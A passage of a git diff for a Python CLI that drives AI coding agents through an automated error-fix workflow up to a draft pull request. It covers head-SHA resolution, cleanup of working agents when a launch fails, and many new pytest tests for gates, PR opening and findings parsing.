correct it. + for row in store.rows("checklist_item"): + if row.get("task_id") != tid or row.get("key") != "pushed": + continue + if row.get("status") != "ja": + continue + ev = str(row.get("evidence") or "").strip().lower() + for token in ev.replace(":", " ").split(): + if _SHA_RE.fullmatch(token): + head = token + break + break + if not head: + # Fallback: most recent local_check with its own head_sha and a + # pass/skip result. + for c in task.get("local_checks") or []: + if str(c.get("result") or "") in ("pass", "skip") and c.get("head_sha"): + head = str(c["head_sha"]) + if not head: + # Unresolvable: do not fall back to empty (== unscoped matching + # downstream) and never to a stale gate's head. + head = "unresolved-pushed-head" payload = task.get("payload") or {} error_id = "" if isinstance(payload, dict): @@ -3097,10 +3123,9 @@ def cmd_watch(args: list[str]) -> None: from .fixer_act import drive_error_fix_tasks from .runtime import run_argv + # Empty scan stays silent, same as sibling watches "errors" and + # "error-fix" (no "… none" line). lines = drive_error_fix_tasks(store, run_argv) - if not lines: - print("error-fix-work none") - return for line in lines: print(line) return diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 39aadb0..2ed71be 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -25,7 +25,6 @@ launch, Runner as LaneRunner, ) -from .runtime import Completed from .store import Store DEFAULT_ROUND_CAP = 5 @@ -48,7 +47,6 @@ "NOT-VERIFIABLE: [...]\n" "GAPS: [...]" ) -Runner = Callable[[list[str]], Completed] ExecArgv = Callable[..., Any] # Checklist keys reset when a PR-reviewer dimension is rejected (new head). @@ -326,9 +324,9 @@ def build_review_spec_file( cwd: str, exec_argv: ExecArgv, ) -> str: - """Write a four-part review prompt under $AGENT_HOME; return its path.""" + """Write a four-part review prompt under $AGENT_HOME/review-work//; return its path.""" diff_text, changed_paths = _collect_review_diff(cwd, exec_argv) - parent = Path(store.home) / "error-fix-work" / tid + parent = Path(store.home) / "review-work" / tid parent.mkdir(mode=0o700, parents=True, exist_ok=True) round_bit = round_num if round_num is not None else 0 diff_path = parent / f"review-{role}-round{round_bit}.diff" @@ -644,14 +642,28 @@ def _lane_retry_then_fail( exec_argv: ExecArgv | None = None, ) -> RunOutcome: """Re-invoke launch once; on second unparseable/non-pass, fail the task.""" - second = launch( - role=role, - vendor=vendor, - spec_file=spec_file, - cwd=cwd, - runner=runner, - tmux=tmux, - ) + try: + second = launch( + role=role, + vendor=vendor, + spec_file=spec_file, + cwd=cwd, + runner=runner, + tmux=tmux, + ) + except OSError: + from . import main as main_mod + + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + _agent_finish( + str(working["id"]), + "unavailable", + note=f"launch failed ({role} {vendor})", + ) + raise decision2, findings2 = _interpret_lane(role, second) if decision2 == "pass": return _finish_agent_pass( @@ -833,6 +845,8 @@ def execute_spine_step( snap = main_mod._chain_snapshot(store, tid, extra_head=head) evidence: str | None = None + if step.key == "pushed": + evidence = f"pushed {head}" if step.key == "mergeable": run_cwd = cwd or os.getcwd() from .git_act import GitActError, measure_mergeable @@ -999,24 +1013,49 @@ def execute_spine_step( ) launch_spec = spec_file if role in _REVIEW_ROLES: - launch_spec = build_review_spec_file( - store, - tid, + try: + launch_spec = build_review_spec_file( + store, + tid, + role=role, + round_num=round_num, + implement_spec_file=spec_file, + cwd=run_cwd, + exec_argv=exec_argv, + ) + except OSError: + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + _agent_finish( + str(working["id"]), + "unavailable", + note=f"review-spec write failed ({role} {vendor})", + ) + raise + # OSError propagates to caller (fixer catches; cmd_run surfaces). + try: + result = launch( role=role, - round_num=round_num, - implement_spec_file=spec_file, + vendor=vendor, + spec_file=launch_spec, cwd=run_cwd, - exec_argv=exec_argv, + runner=runner, + tmux=tmux, ) - # OSError propagates to caller (fixer catches; cmd_run surfaces). - result = launch( - role=role, - vendor=vendor, - spec_file=launch_spec, - cwd=run_cwd, - runner=runner, - tmux=tmux, - ) + except OSError: + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + _agent_finish( + str(working["id"]), + "unavailable", + note=f"launch failed ({role} {vendor})", + ) + raise + decision, findings_text = _interpret_lane(role, result) if decision == "pass": out = _finish_agent_pass( @@ -1069,7 +1108,7 @@ def execute_spine_step( ) # Script step: close if allowed - close_ev = evidence if step.key == "mergeable" else "run auto" + close_ev = evidence if step.key in ("mergeable", "pushed") else "run auto" verdict = close_allowed( wf, step.key, @@ -1088,7 +1127,7 @@ def execute_spine_step( message=verdict.reason, ) close_evidence = ( - evidence if step.key == "mergeable" else f"run auto:{verdict.reason}" + evidence if step.key in ("mergeable", "pushed") else f"run auto:{verdict.reason}" ) _close_step(tid=tid, key=step.key, evidence=str(close_evidence), head=head) return RunOutcome( diff --git a/src/agent_cli/skills/error-fix/SKILL.md b/src/agent_cli/skills/error-fix/SKILL.md index bf09ace..7913670 100644 --- a/src/agent_cli/skills/error-fix/SKILL.md +++ b/src/agent_cli/skills/error-fix/SKILL.md @@ -47,7 +47,10 @@ rules live in DESIGN.md §§14–15, §19, and §21. (never the origin checkout). Mandatory checks must `pass`, then `pr.open` opens a **draft** via `agent github pending`. A retry reuses head `error-fix-`. Gates run on that head after `pushed`. A human - merges. + merges. `agent watch error-fix-work` (DESIGN.md §21.7) automates this same + path end to end — from `spec_written` through the draft `pr.open` — using + only script control flow and the `grok`/`codex` CLIs, with no manual + `agent run` steps; it is not wired into `agent daemon`. ```bash agent activity add --session --type error.skip --payload-file diff --git a/tests/test_chain.py b/tests/test_chain.py index eec6c49..bde6672 100644 --- a/tests/test_chain.py +++ b/tests/test_chain.py @@ -275,6 +275,68 @@ def test_gate_close_needs_approved_record(self) -> None: ) self.assertTrue(v2.allowed) + def test_gate_close_rejects_stale_head_approval(self) -> None: + """An approved gate for a different head must not satisfy the current head.""" + cl = _pending("implement") + for k in ( + "session_registered", + "spec_written", + "implementer_done", + "reviewer_approved", + "local_check_pass", + "pushed", + ): + cl[k] = "ja" + head_a = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + head_b = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + stale = close_allowed( + "implement", + "grok_pr_quality", + checklist=cl, + source="script", + evidence="review", + snapshot={ + "head_sha": head_a, + "gates": [ + { + "stage": "grok-pr", + "dimension": "quality", + "vendor": "grok", + "verdict": "approved", + "head_sha": head_b, + } + ], + }, + ) + self.assertFalse(stale.allowed) + fresh = close_allowed( + "implement", + "grok_pr_quality", + checklist=cl, + source="script", + evidence="review", + snapshot={ + "head_sha": head_a, + "gates": [ + { + "stage": "grok-pr", + "dimension": "quality", + "vendor": "grok", + "verdict": "approved", + "head_sha": head_b, + }, + { + "stage": "grok-pr", + "dimension": "quality", + "vendor": "grok", + "verdict": "approved", + "head_sha": head_a, + }, + ], + }, + ) + self.assertTrue(fresh.allowed) + def test_no_evidence_denied(self) -> None: cl = _pending("implement") v = close_allowed( diff --git a/tests/test_cli.py b/tests/test_cli.py index 2614c6a..0a6eac9 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -1080,6 +1080,24 @@ def test_watch_error_fix_empty_scan_prints_nothing( assert "error.fix x task=t worktree=/tmp/w" in capsys.readouterr().out +def test_watch_error_fix_work_empty_scan_prints_nothing( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + run(tmp_path, ["init"]) + capsys.readouterr() + monkeypatch.setattr( + "agent_cli.fixer_act.drive_error_fix_tasks", lambda store, runner: [] + ) + run(tmp_path, ["watch", "error-fix-work"]) + assert capsys.readouterr().out == "" + monkeypatch.setattr( + "agent_cli.fixer_act.drive_error_fix_tasks", + lambda store, runner: ["error-fix-work t1 done"], + ) + run(tmp_path, ["watch", "error-fix-work"]) + assert "error-fix-work t1 done" in capsys.readouterr().out + + def test_knock_once_does_not_poll_usage( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/test_error_fix_act.py b/tests/test_error_fix_act.py index c34dab9..b457423 100644 --- a/tests/test_error_fix_act.py +++ b/tests/test_error_fix_act.py @@ -6,7 +6,11 @@ import pytest from agent_cli import error_fix_act as error_fix_act_mod -from agent_cli.error_fix_act import find_or_create_implement_task, scan_error_fix +from agent_cli.error_fix_act import ( + find_or_create_implement_task, + has_error_fix_activity, + scan_error_fix, +) from agent_cli.runtime import Completed from agent_cli.store import Store, StoreError, utcnow @@ -470,3 +474,39 @@ def test_scan_inactive_session_after_clone_stays_pending(tmp_path: Path) -> None assert row["execution_status"] == "pending" assert store.rows("task") == [] assert not (tmp_path / "error-fix-work" / "pending-fix-1").exists() + + +def test_has_error_fix_activity_true_for_matching_fix(tmp_path: Path) -> None: + store = Store(tmp_path) + _runner_session(store) + _seen(store) + _fix(store) + assert has_error_fix_activity(store, "runner-1", "error-seen-12345678") is True + + +def test_has_error_fix_activity_false_for_seen_only(tmp_path: Path) -> None: + store = Store(tmp_path) + _runner_session(store) + _seen(store) + assert has_error_fix_activity(store, "runner-1", "error-seen-12345678") is False + + +def test_has_error_fix_activity_false_for_empty_error_id(tmp_path: Path) -> None: + store = Store(tmp_path) + _runner_session(store) + _seen(store) + _fix(store) + assert has_error_fix_activity(store, "runner-1", "") is False + + +def test_has_error_fix_activity_false_for_mismatched_ids(tmp_path: Path) -> None: + store = Store(tmp_path) + _runner_session(store) + _seen(store) + _fix(store) + assert ( + has_error_fix_activity(store, "runner-1", "other-error-id-00000000") is False + ) + assert ( + has_error_fix_activity(store, "other-session", "error-seen-12345678") is False + ) diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index cbd1499..cc1017d 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -8,7 +8,13 @@ import pytest -from agent_cli.fixer_act import _drive_one, _pr_open_row_exists, _runner_to_completed +from agent_cli.fixer_act import ( + _drive_one, + _pr_open_row_exists, + _runner_to_completed, + drive_error_fix_tasks, + template_pr_open_payload, +) from agent_cli.git_act import GitActError from agent_cli.lane import LaneResult, findings_header_present from agent_cli.runtime import Completed @@ -209,7 +215,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) monkeypatch.setattr( "agent_cli.fixer_act.insert_pr_open_and_scan", - lambda *a, **k: [], + _fake_insert_pr_open_and_scan, ) store = _store(tmp_path) @@ -365,6 +371,8 @@ def flaky_insert(store, *, session_id, payload, runner): # type: ignore[no-unty if insert_calls["n"] == 1: raise OSError("github temporarily unavailable") # Mirror real insert_pr_open_and_scan enough for the ledger-derived retry check. + # Real insert_pr_open_and_scan leaves execution_status=done after scan_github + # succeeds; only done counts as present under the stricter exists check. activity_id = str(uuid.uuid4()) store.write( "activity", @@ -375,7 +383,7 @@ def flaky_insert(store, *, session_id, payload, runner): # type: ignore[no-unty "session_id": session_id, "type": "pr.open", "payload": payload, - "execution_status": "pending", + "execution_status": "done", }, ) return [] @@ -410,13 +418,14 @@ def flaky_insert(store, *, session_id, payload, runner): # type: ignore[no-unty task = store.row("task", tid) assert task is not None - _drive_one( + second = _drive_one( store, task, runner=lambda argv: Completed(0, "", ""), round_cap=5, lane_runner=None, ) + assert "pr.open-error" not in second pr_rows_after = [ r for r in store.rows("activity") @@ -432,6 +441,121 @@ def flaky_insert(store, *, session_id, payload, runner): # type: ignore[no-unty assert insert_calls["n"] == 2 +def test_fixer_stops_on_persistent_gh_pr_create_failure( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """gh pr create failure must not advance the spine or reach done/failed.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + create_calls = {"n": 0} + + def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + return pushed_sha + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "pr-reviewer-quality") + vendor = str(kwargs.get("vendor") or "grok") + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def failing_gh(argv: list[str]) -> Completed: + if argv[:3] == ["gh", "pr", "view"]: + return Completed( + 1, "", 'no pull requests found for branch "error-fix-aaaaaaaa"' + ) + if argv[:3] == ["gh", "pr", "create"]: + create_calls["n"] += 1 + return Completed(1, "", "gh: persistent auth failure") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + first = _drive_one( + store, + task, + runner=failing_gh, + round_cap=5, + lane_runner=None, + ) + assert "pr.open-error" in first + assert "done" not in first.split()[-1] + assert _task_state(tmp_path, tid) not in ("done", "failed") + cl = _checklist(tmp_path, tid) + assert cl.get("contributing_ok") != "ja" + assert cl.get("grok_pr_quality") != "ja" + assert create_calls["n"] >= 1 + first_creates = create_calls["n"] + + task = store.row("task", tid) + assert task is not None + second = _drive_one( + store, + task, + runner=failing_gh, + round_cap=5, + lane_runner=None, + ) + assert "pr.open-error" in second + assert _task_state(tmp_path, tid) not in ("done", "failed") + assert create_calls["n"] > first_creates + cl2 = _checklist(tmp_path, tid) + assert cl2.get("contributing_ok") != "ja" + finally: + store.close() + + +def test_template_pr_open_payload_title_and_body() -> None: + """template_pr_open_payload follows CONTRIBUTING.md PR title/body conventions.""" + session_id = "sess-12345678" + error_id = "bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb" + payload = template_pr_open_payload( + session_id=session_id, + repo="org/app", + error_id=error_id, + brief="brief text", + fingerprint="fp-1", + title_suffix="Fix the thing", + ) + assert payload["title"] == f"{session_id[:8]} - Fix the thing" + assert payload["head"] == f"error-fix-{error_id[:8]}" + body = str(payload["body"]) + assert "EN:\n" in body + assert "\nDE:\n" in body + assert "
" in body + assert "Details" in body + assert "
" in body + assert error_id in body + assert f"error-fix-{error_id[:8]}" in body + + long_suffix = "x" * 80 + long_payload = template_pr_open_payload( + session_id=session_id, + repo="org/app", + error_id=error_id, + brief="brief", + fingerprint="fp", + title_suffix=long_suffix, + ) + # truncation: suffix[:69] + "..." when len(suffix) > 72 + expected_suffix = long_suffix[:69] + "..." + assert long_payload["title"] == f"{session_id[:8]} - {expected_suffix}" + assert len(expected_suffix) == 72 + + def test_runner_to_completed_honors_cwd(tmp_path: Path) -> None: completed = _runner_to_completed( lambda _argv: Completed(1, "", "runner-should-not-run"), @@ -454,6 +578,29 @@ def runner(argv: list[str]) -> Completed: assert seen == [["echo", "hi"]] +def _fake_insert_pr_open_and_scan(store, *, session_id, payload, runner): # type: ignore[no-untyped-def] + """Simulate a successful insert_pr_open_and_scan: writes a real pr.open row + so _pr_open_row_exists finds it (matches flaky_insert's success branch). + + Real insert_pr_open_and_scan leaves execution_status=done after scan_github + succeeds; only done counts as present under the stricter exists check. + """ + activity_id = str(uuid.uuid4()) + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": session_id, + "type": "pr.open", + "payload": payload, + "execution_status": "done", + }, + ) + return [] + + def _pass_lane(**kwargs): # type: ignore[no-untyped-def] role = str(kwargs.get("role") or "pr-reviewer-quality") vendor = str(kwargs.get("vendor") or "grok") @@ -483,7 +630,7 @@ def test_fixer_drives_error_fix_task_to_done( monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) monkeypatch.setattr( "agent_cli.fixer_act.insert_pr_open_and_scan", - lambda *a, **k: [], + _fake_insert_pr_open_and_scan, ) store = _store(tmp_path) @@ -567,7 +714,7 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) monkeypatch.setattr( "agent_cli.fixer_act.insert_pr_open_and_scan", - lambda *a, **k: [], + _fake_insert_pr_open_and_scan, ) store = _store(tmp_path) @@ -651,7 +798,8 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) monkeypatch.setattr( - "agent_cli.fixer_act.insert_pr_open_and_scan", lambda *a, **k: [] + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, ) calls: list[tuple[str | None, str, str | None]] = [] @@ -708,7 +856,7 @@ def test_fixer_inner_reviewer_rejection_keeps_head( monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) monkeypatch.setattr( "agent_cli.fixer_act.insert_pr_open_and_scan", - lambda *a, **k: [], + _fake_insert_pr_open_and_scan, ) # Stop short of done so gates (and thus recoverable head_sha) remain. monkeypatch.setattr( @@ -830,3 +978,200 @@ def test_pr_open_row_exists_excludes_error_status( assert _pr_open_row_exists(store, head=head) is False finally: store.close() + + +def test_pr_open_row_exists_excludes_pending_status( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """An existing pr.open with execution_status=pending must not count as present.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + head = f"error-fix-{ERROR_ID[:8]}" + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + activity_id = str(uuid.uuid4()) + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": task["session_id"], + "type": "pr.open", + "payload": {"head": head, "repo": "org/app", "title": "x", "body": "y"}, + "execution_status": "pending", + }, + ) + assert _pr_open_row_exists(store, head=head) is False + finally: + store.close() + + +def test_fixer_resumes_pending_pr_open_via_scan_github( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Mid-flight pending pr.open must resume via scan_github, not a duplicate insert.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + head = f"error-fix-{ERROR_ID[:8]}" + activity_id = str(uuid.uuid4()) + scan_calls: list[tuple] = [] + insert_calls: list[tuple] = [] + + def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + return pushed_sha + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "pr-reviewer-quality") + vendor = str(kwargs.get("vendor") or "grok") + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def fake_scan_github(store, runner): # type: ignore[no-untyped-def] + scan_calls.append((store, runner)) + row = store.row("activity", activity_id) + assert row is not None + updated = {k: v for k, v in row.items() if not str(k).startswith("_")} + updated["execution_status"] = "done" + store.write("activity", "update", activity_id, updated) + return [] + + def fake_insert(store, *, session_id, payload, runner): # type: ignore[no-untyped-def] + insert_calls.append((store, session_id, payload, runner)) + return [] + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.github_act.scan_github", fake_scan_github) + monkeypatch.setattr("agent_cli.fixer_act.insert_pr_open_and_scan", fake_insert) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": task["session_id"], + "type": "pr.open", + "payload": {"head": head, "repo": "org/app", "title": "x", "body": "y"}, + "execution_status": "pending", + }, + ) + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert len(scan_calls) == 1 + assert insert_calls == [] + assert "pr.open-error" not in result + + +def test_drive_error_fix_tasks_isolates_per_task_crash( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """One task's SystemExit must not abort the scan for other open tasks.""" + tid1 = _bootstrap_error_fix_task(tmp_path, capsys) + error_id_2 = "bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb" + store = _store(tmp_path) + try: + store.write( + "activity", + "insert", + error_id_2, + { + "id": error_id_2, + "session_id": "sess-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|ValueError|def|prod", + "repo": "org/app", + "service": "api", + "class": "ValueError", + }, + "execution_status": "done", + }, + ) + store.write( + "activity", + "insert", + "fix-2", + { + "id": "fix-2", + "session_id": "sess-1", + "type": "error.fix", + "payload": { + "error_id": error_id_2, + "fingerprint": "api|ValueError|def|prod", + "brief": "ValueError in handler; harden input.", + }, + "execution_status": "pending", + }, + ) + finally: + store.close() + run( + tmp_path, + [ + "task", + "create", + "--session", + "sess-1", + "--workflow", + "implement", + "--error-id", + error_id_2, + "--title", + "Fix value error", + ], + ) + tid2 = _last_task_id(capsys.readouterr().out) + first_tid, second_tid = sorted([tid1, tid2]) + + def fake_drive_one(store, task, runner, *, round_cap, lane_runner=None): # type: ignore[no-untyped-def] + tid = str(task["id"]) + if tid == first_tid: + raise SystemExit("round still has a working agent") + return f"error-fix-work {tid} done" + + monkeypatch.setattr("agent_cli.fixer_act._drive_one", fake_drive_one) + + store = _store(tmp_path) + try: + lines = drive_error_fix_tasks( + store, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert len(lines) == 2 + assert first_tid in lines[0] + assert "scan-error" in lines[0] + assert "SystemExit" in lines[0] + assert lines[1] == f"error-fix-work {second_tid} done" diff --git a/tests/test_lane.py b/tests/test_lane.py index a65d4f0..742034c 100644 --- a/tests/test_lane.py +++ b/tests/test_lane.py @@ -12,6 +12,7 @@ LaneResult, _run_in_tmux, codex_argv, + count_findings, grok_argv, has_single_terminal_report, launch, @@ -27,6 +28,42 @@ def run(argv: list[str]) -> None: main(argv) +def test_count_findings_none_token() -> None: + assert count_findings("STATUS: complete\nFINDINGS: none\n") == 0 + + +def test_count_findings_zero_token() -> None: + assert count_findings("STATUS: complete\nFINDINGS: 0\n") == 0 + + +def test_count_findings_bulleted_entries() -> None: + text = "STATUS: complete\nFINDINGS:\n- a\n* b\n• c\n" + assert count_findings(text) == 3 + + +def test_count_findings_numbered_entries() -> None: + text = "STATUS: complete\nFINDINGS:\n1. a\n2) b\n" + assert count_findings(text) == 2 + + +def test_count_findings_stops_at_next_section_header() -> None: + text = ( + "STATUS: complete\n" + "FINDINGS:\n" + "- real one\n" + "- real two\n" + "NOT-VERIFIABLE:\n" + "- skip me\n" + "- skip me too\n" + ) + assert count_findings(text) == 2 + + +def test_count_findings_absent_header_is_zero() -> None: + """Absent FINDINGS: also returns 0; callers use findings_header_present() to distinguish.""" + assert count_findings("STATUS: complete\nREASON: ok\n") == 0 + + def test_grok_implementer_argv() -> None: argv = grok_argv(spec_file="/tmp/spec.md", cwd="/work", write=True) assert "--session-id" not in argv diff --git a/tests/test_origin_seq_ordering.py b/tests/test_origin_seq_ordering.py index 43a24e1..623bedb 100644 --- a/tests/test_origin_seq_ordering.py +++ b/tests/test_origin_seq_ordering.py @@ -12,6 +12,7 @@ _chain_snapshot, _latest_checks, _latest_gates, + _origin_seq_sort_key, load_task_dict, main, ) @@ -235,6 +236,15 @@ def test_missing_origin_seq_sorts_before_stamped_rows(tmp_path: Path) -> None: store.close() +def test_origin_seq_sort_key_missing_sorts_before_stamped() -> None: + """Hand-built dicts without origin_seq sort before any stamped row, even with a newer timestamp.""" + missing = _origin_seq_sort_key({"recorded_at": "2099-01-01"}, "recorded_at") + stamped = _origin_seq_sort_key( + {"recorded_at": "2000-01-01", "origin_seq": 1}, "recorded_at" + ) + assert missing < stamped + + def test_check_record_stamps_origin_seq_via_command( tmp_path: Path, capsys: pytest.CaptureFixture[str] ) -> None: diff --git a/tests/test_run.py b/tests/test_run.py index ec151ba..53c3e46 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -387,6 +387,112 @@ def test_run_missing_spec_file_does_not_leave_working_agent( assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) +def test_build_review_spec_oserror_does_not_leave_working_agent( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """OSError from build_review_spec_file must release the working agent, then re-raise.""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) # close implementer_done → reviewer next + capsys.readouterr() + spec = tmp_path / "review-spec.md" + spec.write_text("review this\n", encoding="utf-8") + + def boom(*_args: object, **_kwargs: object) -> str: + raise OSError("disk full") + + monkeypatch.setattr("agent_cli.run_core.build_review_spec_file", boom) + with pytest.raises(OSError): + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) + + +def test_launch_oserror_does_not_leave_working_agent( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """OSError from launch must release the working agent, then re-raise.""" + tid = _bootstrap_implement(tmp_path, capsys) + spec = tmp_path / "spec.md" + spec.write_text("implement this\n", encoding="utf-8") + + def boom(**_kwargs: object) -> object: + raise OSError("missing vendor CLI binary") + + monkeypatch.setattr("agent_cli.run_core.launch", boom) + with pytest.raises(OSError): + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) + + +def test_launch_oserror_on_retry_does_not_leave_working_agent( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """OSError from launch on the RETRY attempt must release the working agent, then re-raise.""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) # implementer_done + capsys.readouterr() + spec = tmp_path / "review-spec.md" + spec.write_text("review this\n", encoding="utf-8") + calls = {"n": 0} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + calls["n"] += 1 + if calls["n"] == 1: + return LaneResult( + role="reviewer", + vendor="grok", + status="complete", + argv=["grok"], + returncode=0, + stdout="STATUS: complete\n", # no FINDINGS: header -> unparseable -> retry + stderr="", + ) + raise OSError("missing vendor CLI binary") + + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + with pytest.raises(OSError): + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + assert calls["n"] == 2 + assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) + + def test_run_spec_file_reviewer_complete_auto_approves( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -940,7 +1046,6 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: assert "round cap" not in (outcome.message or "") assert "round cap" not in (outcome.reason or "") assert outcome.kind == "rejected_new_round" - assert int((store.row("task", tid) or {}).get("current_round") or 0) > 5 or True final_round = int((store.row("task", tid) or {}).get("current_round") or 0) assert final_round > 5 assert "round cap" not in str(outcome.message or "") @@ -1024,3 +1129,174 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: ) finally: store.close() + + +def test_chain_snapshot_does_not_resolve_stale_head_across_fresh_scan( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """After a PR-gate rejection + re-push, a snapshot built the way a fresh + process would (no in-memory head threaded through) must not resolve to + the stale pre-rejection head via an old, superseded gate row.""" + from agent_cli import main as main_mod + from agent_cli.chain import close_allowed + from agent_cli.run_core import execute_spine_step + + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + _finish_reviewer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + + old_sha = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + new_sha = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + shas = [old_sha, new_sha] + push_calls = {"n": 0} + + def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + i = push_calls["n"] + push_calls["n"] += 1 + return shas[min(i, len(shas) - 1)] + + def fake_exec(argv, *, cwd=None): # type: ignore[no-untyped-def] + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + spec = tmp_path / "spec.md" + spec.write_text("do work\n", encoding="utf-8") + + store = _store(tmp_path) + try: + # 1) local_check_pass, then close "pushed" @ old_sha. + outcome = None + for expected_key in ("local_check_pass", "pushed"): + outcome = execute_spine_step( + store, + tid, + head=None, + spec_file=str(spec), + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + ) + assert outcome.kind == "closed" and outcome.key == expected_key + head = outcome.head_sha + assert head == old_sha + + # 2) grok_pr_quality approves @ old_sha. + def approve_launch(**kwargs): # type: ignore[no-untyped-def] + return LaneResult( + role=kwargs["role"], + vendor=kwargs["vendor"], + status="complete", + argv=[kwargs["vendor"]], + returncode=0, + 